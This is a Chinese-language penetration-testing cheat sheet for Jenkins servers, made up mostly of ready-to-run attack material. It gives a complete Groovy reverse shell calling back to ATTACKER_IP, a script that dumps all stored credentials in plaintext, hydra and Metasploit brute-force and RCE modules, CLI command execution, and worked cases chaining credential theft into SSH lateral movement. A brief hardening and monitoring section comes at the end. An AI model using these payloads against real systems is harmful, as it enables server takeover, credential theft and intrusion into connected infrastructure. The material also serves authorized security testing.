8080 - Jenkins 服务渗透测试
服务概述
Jenkins 是流行的 CI/CD 自动化服务器。未授权访问、脚本执行、凭据泄露是主要安全问题。
默认端口: 8080 (HTTP)
危害等级: ⭐⭐⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script http-jenkins -p 8080 TARGET
# 手动访问
curl http://TARGET:8080
# 输出:
# <title>Jenkins</title>版本检测
# 获取版本信息
curl http://TARGET:8080/login
# 或在 UI 中查看
# 底部显示 Jenkins 版本常见攻击手法
1. 未授权访问
原理: Jenkins 未配置认证或配置错误。
检测:
# 访问管理面板
curl http://TARGET:8080/manage
# 如果直接访问成功,说明未授权利用:
# 1. 访问脚本控制台
http://TARGET:8080/script
# 2. 执行 Groovy 命令
# 输入:
println "whoami".execute().text
# 3. 输出:
# nt authority\system (Windows)
# 或 root (Linux)2. 暴力破解
原理: Jenkins 登录可暴力破解。
利用:
# hydra
hydra -l admin -P rockyou.txt http-form-post "/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid"
# 或使用 metasploit
use auxiliary/scanner/http/jenkins_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run3. 脚本控制台 RCE
原理: Jenkins 脚本控制台可执行 Groovy 代码。
利用:
// 执行命令
"whoami".execute().text
// 反弹 shell
String host="ATTACKER_IP";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}catch (Exception e){}
};
p.destroy();
s.close();4. 凭据窃取
原理: Jenkins 存储的凭据可被提取。
利用:
// 脚本控制台执行
// 列出所有凭据
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.plugins.credentials.impl.*
import hudson.util.Secret
def domain = Domain.global()
def store = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0].getStore()
for (c in store.getCredentials(domain)) {
println c.displayName
if (c instanceof UsernamePasswordCredentialsImpl) {
println "Username: " + c.username
println "Password: " + c.password.getPlainText()
}
}5. CLI 攻击
原理: Jenkins CLI 可远程执行命令。
利用:
# 下载 CLI
curl -O http://TARGET:8080/jnlpJars/jenkins-cli.jar
# 执行命令
java -jar jenkins-cli.jar -s http://TARGET:8080/ help
# 如果未授权,可执行任意命令
java -jar jenkins-cli.jar -s http://TARGET:8080/ groovy = "whoami".execute().text6. 插件漏洞利用
原理: Jenkins 插件存在已知漏洞。
常见漏洞:
- CVE-2017-1000353 (CLI 反序列化)
- CVE-2018-1000861 (权限绕过)
- CVE-2019-1003005 (XSS)
利用:
# metasploit
use exploit/multi/http/jenkins_cli_rce
set RHOST TARGET
set RPORT 8080
run
# 或使用 CVE-2018-1000861
curl -s -I http://TARGET:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript实战案例
案例 1: 未授权访问 RCE
# 1. 检测未授权
curl http://TARGET:8080/manage
# 2. 访问脚本控制台
curl http://TARGET:8080/script
# 3. 执行命令
curl -X POST http://TARGET:8080/scriptText \
--data "script=println%20%22whoami%22.execute().text"
# 4. 输出:
# nt authority\system案例 2: 凭据窃取 + 横向移动
# 1. 访问脚本控制台
http://TARGET:8080/script
# 2. 执行凭据提取脚本
# (见上方 Groovy 脚本)
# 3. 获取凭据
# admin:Password123!
# deploy:DeployPass456!
# 4. 使用凭据 SSH 登录
ssh admin@TARGET2
# 5. 或使用凭据访问其他服务案例 3: 反弹 Shell
# 1. 启动监听
nc -lvnp 4444
# 2. 在 Jenkins 脚本控制台执行
# (见上方反弹 shell 脚本)
# 3. 获取 shell
# nc 连接成功
# 执行命令案例 4: 插件漏洞利用
# 1. 检测 Jenkins 版本
curl http://TARGET:8080/login
# 2. 查找已知漏洞
# Jenkins 2.137 之前 - CVE-2018-1000861
# 3. 使用 metasploit
use exploit/multi/http/jenkins_script_console_rce
set RHOST TARGET
set RPORT 8080
run
# 4. 获取 shell工具
Metasploit
# Jenkins 扫描
use auxiliary/scanner/http/jenkins_login
set RHOSTS TARGET
run
# Jenkins CLI RCE
use exploit/multi/http/jenkins_cli_rce
set RHOST TARGET
run
# Jenkins 脚本控制台 RCE
use exploit/multi/http/jenkins_script_console_rce
set RHOST TARGET
runjenkins-cli
# 下载 CLI
curl -O http://TARGET:8080/jnlpJars/jenkins-cli.jar
# 执行命令
java -jar jenkins-cli.jar -s http://TARGET:8080/ help
java -jar jenkins-cli.jar -s http://TARGET:8080/ version
java -jar jenkins-cli.jar -s http://TARGET:8080/ groovy = "code"nmap
# Jenkins 检测
nmap --script http-jenkins -p 8080 TARGET
# Jenkins 枚举
nmap --script http-jenkins-enum -p 8080 TARGET防御建议
服务器配置
# 1. 启用认证
# 配置 → 全局安全配置
# 启用矩阵安全
# 2. 限制脚本控制台
# 仅管理员访问
# 3. 禁用 CLI
# -Dhudson.cli.CLICommand.allow=false
# 4. 更新插件
# 定期更新所有插件
# 5. 网络隔离
# Jenkins 不暴露公网权限控制
1. 最小权限原则
- 用户仅必要权限
- 禁用匿名用户
2. 凭据管理
- 使用凭据存储
- 定期更换密码
3. 审计日志
- 启用访问日志
- 监控异常操作监控检测
# 1. 日志监控
# Jenkins 日志
# 脚本执行记录
# 2. 流量分析
tshark -i eth0 -Y "http" -T fields -e http.request.uri
# 3. 异常检测
# 脚本控制台访问
# CLI 命令执行
# 未知 IP 访问